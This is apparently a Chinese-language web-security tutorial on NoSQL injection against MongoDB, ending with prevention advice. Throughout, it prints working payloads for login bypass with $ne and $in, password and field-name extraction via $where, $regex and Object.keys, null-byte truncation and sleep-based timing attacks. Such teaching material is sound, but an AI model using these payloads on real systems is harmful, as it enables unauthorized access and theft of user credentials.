NoSQL 注入是一种漏洞,攻击者能够干扰应用程序对 NoSQL 数据库进行的查询。 NoSQL 注入可能使攻击者能够:
- 绕过身份验证或保护机制。
- 提取或编辑数据。
- 导致拒绝服务。
- 在服务器上执行代码。
NoSQL 数据库以传统 SQL 关系表以外的格式存储和检索数据。它们使用多种查询语言,而不是像 SQL 这样的通用标准,并且关系约束较少。
NoSQL 注入的类型
NoSQL 注入有两种不同类型:
- 语法注入 - 当您可以破坏 NoSQL 查询语法,从而使您能够注入自己的有效负载时,就会发生这种情况。该方法与SQL 注入中使用的方法类似。然而,攻击的性质差异很大,因为 NoSQL 数据库使用一系列查询语言、查询语法类型和不同的数据结构。
- 运算符注入 - 当您可以使用 NoSQL 查询运算符来操作查询时,就会发生这种情况。
在本主题中,我们将了解如何测试一般的 NoSQL 漏洞,然后重点讨论利用最流行的 NoSQL 数据库 MongoDB 中的漏洞。我们还提供了一些实验室,以便您可以练习所学知识。
NoSQL 语法注入
您可以通过尝试破坏查询语法来检测 NoSQL 注入漏洞。为此,请系统地测试每个输入,方法是提交模糊字符串和特殊字符,如果应用程序未充分清理或过滤这些字符串和特殊字符,则会触发数据库错误或其他一些可检测的行为。如果您知道目标数据库的 API 语言,请使用与该语言相关的特殊字符和模糊字符串。否则,使用各种模糊字符串来针对多种 API 语言。
检测 MongoDB 中的语法注入
考虑一个显示不同类别产品的购物应用程序。当用户选择碳酸饮料类别时,他们的浏览器会请求以下 URL:
https://insecure-website.com/product/lookup?category=fizzy
这会导致应用程序发送 JSON 查询以从product
MongoDB 数据库中的集合中检索相关产品:
this.category == 'fizzy'
要测试输入是否容易受到攻击,请在参数值中提交模糊字符串category
。 MongoDB 的示例字符串是:
'"`{ ;$Foo} $Foo \xYZ
使用该模糊字符串构造以下攻击:
https://insecure-website.com/product/lookup?category='%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
如果这导致原始响应发生变化,则可能表明用户输入未正确过滤或清理。
笔记
NoSQL 注入漏洞可能发生在各种环境中,您需要相应地调整模糊字符串。否则,您可能只是触发验证错误,这意味着应用程序永远不会执行您的查询。在此示例中,我们通过 URL 注入模糊字符串,因此该字符串是 URL 编码的。在某些应用程序中,您可能需要通过 JSON 属性注入有效负载。在这种情况下,该有效负载将变为
'\"`{\r;$Foo}\n$Foo \\xYZ\u0000
确定处理哪些字符
要确定应用程序将哪些字符解释为语法,您可以注入单个字符。例如,您可以提交'
,这会产生以下 MongoDB 查询:
this.category == '''
如果这导致原始响应发生变化,则可能表明该'
字符破坏了查询语法并导致语法错误。您可以通过在输入中提交有效的查询字符串来确认这一点,例如通过转义引号:
this.category == '\''
如果这不会导致语法错误,则可能意味着应用程序容易受到注入攻击。
确认条件行为
检测到漏洞后,下一步是确定是否可以使用 NoSQL 语法影响布尔条件。要对此进行测试,请发送两个请求,一个请求条件为假,另一个请求条件条件为真。例如,您可以使用条件语句 ' && 0 && 'x
,' && 1 && 'x
如下所示:
https://insecure-website.com/product/lookup?category=fizzy'+%26%26+0+%26%26+'x
https://insecure-website.com/product/lookup?category=fizzy'+%26%26+1+%26%26+'x
如果应用程序的行为不同,则表明错误条件会影响查询逻辑,但正确条件不会影响查询逻辑。这表明注入这种语法风格会影响服务器端查询。
超越现有条件
现在您已经确定可以影响布尔条件,您可以尝试覆盖现有条件来利用该漏洞。例如,您可以注入始终计算结果为 true 的 JavaScript 条件,例如 '||1||'
:
https://insecure-website.com/product/lookup?category=fizzy%27%7c%7c%31%7c%7c%27
这会产生以下 MongoDB 查询:
this.category == 'fizzy'||'1'=='1'
由于注入的条件始终为 true,因此修改后的查询将返回所有项目。这使您能够查看任何类别中的所有产品,包括隐藏或未知类别。
警告
将始终计算结果为 true 的条件注入 NoSQL 查询时要小心。尽管这在您注入的初始上下文中可能是无害的,但应用程序在多个不同查询中使用来自单个请求的数据是很常见的。例如,如果应用程序在更新或删除数据时使用它,则可能会导致数据意外丢失。
您还可以在类别值后添加空字符。 MongoDB 可能会忽略空字符之后的所有字符。这意味着 MongoDB 查询上的任何附加条件都将被忽略。例如,查询可能有附加 this.released
限制:
this.category == 'fizzy' && this.released == 1
该限制this.released == 1
仅用于显示已发布的产品。对于未发布的产品,大概是this.released == 0
.
在这种情况下,攻击者可以构造如下攻击:
https://insecure-website.com/product/lookup?category=fizzy'%00
这会产生以下 NoSQL 查询:
this.category == 'fizzy'\u0000' && this.released == 1
如果 MongoDB 忽略空字符之后的所有字符,则不再需要将已发布字段设置为 1。因此, fizzy
将显示该类别中的所有产品,包括未发布的产品。
NoSQL 运算符注入
NoSQL 数据库经常使用查询运算符,它提供了指定数据必须满足的条件才能包含在查询结果中的方法。 MongoDB 查询运算符的示例包括:
$where
- 匹配满足 JavaScript 表达式的文档。$ne
- 匹配所有不等于指定值的值。$in
- 匹配数组中指定的所有值。$regex
- 选择值与指定正则表达式匹配的文档。
您也许能够注入查询运算符来操作 NoSQL 查询。为此,系统地将不同的运算符提交到一系列用户输入中,然后检查错误消息或其他更改的响应。
提交查询运算符
在 JSON 消息中,您可以将查询运算符作为嵌套对象插入。例如,{"username":"wiener"}
变为{"username":{"$ne":"invalid"}}
.对于基于 URL 的输入,您可以通过 URL 参数插入查询运算符。例如,username=wiener
变为 username[$ne]=invalid
.如果这不起作用,您可以尝试以下操作:
- 将请求方法从 转换
GET
为POST
. - 将标题更改
Content-Type
为application/json
. - 将 JSON 添加到消息正文。
- 在 JSON 中注入查询运算符。
笔记
您可以使用内容类型转换器扩展自动转换请求方法并将 URL 编码的
POST
请求更改为 JSON。
检测 MongoDB 中的运算符注入
考虑一个易受攻击的应用程序,它接受请求正文中的用户名和密码POST
:
{"username":"wiener","password":"peter"}
使用一系列运算符测试每个输入。例如,要测试用户名输入是否处理查询运算符,您可以尝试以下注入:
{"username":{"$ne":"invalid"},"password":{"peter"}}
如果$ne
应用该运算符,则会查询用户名不等于 的所有用户invalid
。
如果用户名和密码输入都处理操作员,则可以使用以下有效负载绕过身份验证:
{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}
此查询返回用户名和密码不等于 的所有登录凭据invalid
。因此,您将以集合中的第一个用户身份登录到应用程序。
要定位帐户,您可以构建包含已知用户名或您猜测的用户名的有效负载。例如:
{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}
利用语法注入来提取数据
在许多NoSQL数据库中,某些查询运算符或函数可以运行有限的JavaScript代码,例如MongoDB的$where
运算符和mapReduce()
函数。这意味着,如果易受攻击的应用程序使用这些运算符或函数,数据库可能会将 JavaScript 评估为查询的一部分。因此,您可以使用 JavaScript 函数从数据库中提取数据。
窃取 MongoDB 中的数据
考虑一个易受攻击的应用程序,该应用程序允许用户查找其他注册的用户名并显示他们的角色。这会触发对 URL 的请求:
https://insecure-website.com/user/lookup?username=admin
这会产生以下users
集合的 NoSQL 查询:
{"$where":"this.username == 'admin'"}
由于查询使用$where
运算符,您可以尝试将 JavaScript 函数注入到此查询中,以便它返回敏感数据。
例如,您可以发送以下有效负载:
admin' && this.password[0] == 'a' || 'a'=='b
这将返回用户密码字符串的第一个字符,使您能够逐字符提取密码。
您还可以使用 JavaScriptmatch()
函数来提取信息。例如,通过以下payload可以识别密码是否包含数字:
admin' && this.password.match(/\d/) || 'a'=='b
识别字段名称
由于 MongoDB 处理不需要固定架构的半结构化数据,因此您可能需要先识别集合中的有效字段,然后才能使用 JavaScript 注入提取数据。
例如,要识别MongoDB数据库是否包含字段password
,您可以提交以下有效负载:
https://insecure-website.com/user/lookup?username=admin'+%26%26+this.password!%3d'
再次发送现有字段和不存在字段的有效负载。在此示例中,您知道该username
字段存在,因此您可以发送以下有效负载:
admin' && this.username!='
admin' && this.foo!='
如果该password
字段存在,您会期望响应与现有字段 ( ) 的响应相同username
,但与不存在字段 ( foo
) 的响应不同。
如果您想测试不同的字段名称,您可以通过使用单词列表循环不同的潜在字段名称来执行字典攻击。
笔记
您也可以使用 NoSQL 运算符注入来逐字符提取字段名称。这使您能够识别字段名称,而无需猜测或执行字典攻击。
利用NoSQL运算符注入来提取数据
即使原始查询不使用任何使您能够运行任意 JavaScript 的运算符,您也可以自己注入这些运算符之一。然后,您可以使用布尔条件来确定应用程序是否执行您通过此运算符注入的任何 JavaScript。
在 MongoDB 中注入运算符
考虑一个易受攻击的应用程序,它在请求正文中接受用户名和密码POST
:
{"username":"wiener","password":"peter"}
要测试是否可以注入运算符,您可以尝试将$where
运算符添加为附加参数,然后发送一个条件计算结果为 false 的请求,以及另一个计算结果为 true 的请求。例如:
{"username":"wiener","password":"peter", "$where":"0"}
{"username":"wiener","password":"peter", "$where":"1"}
如果响应之间存在差异,则可能表明$where
正在评估子句中的 JavaScript 表达式。
提取字段名称
如果您已注入一个使您能够运行 JavaScript 的运算符,您也许可以使用该keys()
方法来提取数据字段的名称。例如,您可以提交以下有效负载:
"$where":"Object.keys(this)[0].match('^.{0}a.*')"
这将检查用户对象中的第一个数据字段并返回字段名称的第一个字符。这使您能够逐字符提取字段名称。
使用运算符窃取数据
或者,您也可以使用无法运行 JavaScript 的运算符来提取数据。例如,您可以使用 $regex
运算符逐字符提取数据。
考虑一个易受攻击的应用程序,它接受请求正文中的用户名和密码POST
。例如:
{"username":"myuser","password":"mypass"}
您可以首先测试$regex
运算符是否被处理,如下所示:
{"username":"admin","password":{"$regex":"^.*"}}
如果对此请求的响应与您提交错误密码时收到的响应不同,则表明该应用程序可能存在漏洞。您可以使用$regex
运算符逐字符提取数据。例如,以下有效负载检查密码是否以 开头 a
:
{"username":"admin","password":{"$regex":"^a*"}}
基于时间的注射
有时触发数据库错误不会导致应用程序响应出现差异。在这种情况下,您仍然可以通过使用 JavaScript 注入触发条件时间延迟来检测和利用该漏洞。要进行基于定时的 NoSQL 注入:
- 多次加载页面以确定基准加载时间。
- 将基于时序的有效负载插入到输入中。基于时序的有效负载在执行时会导致响应故意延迟。例如,
{"$where": "sleep(5000)"}
在成功注入时故意延迟 5000 毫秒。 - 确定响应加载速度是否较慢。这表明注入成功。
如果密码包含字母a
, 以下基于时间的有效负载将触发时间延迟:
admin'+function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}(this)+'
admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'
防止NoSQL注入
防止 NoSQL 注入攻击的适当方法取决于所使用的特定 NoSQL 技术。因此,我们建议您阅读所选 NoSQL 数据库的安全文档。也就是说,以下广泛的指导方针也会有所帮助:
- 使用可接受的字符白名单来清理和验证用户输入。
- 使用参数化查询插入用户输入,而不是将用户输入直接连接到查询中。
- 为了防止操作员注入,请应用接受密钥的白名单。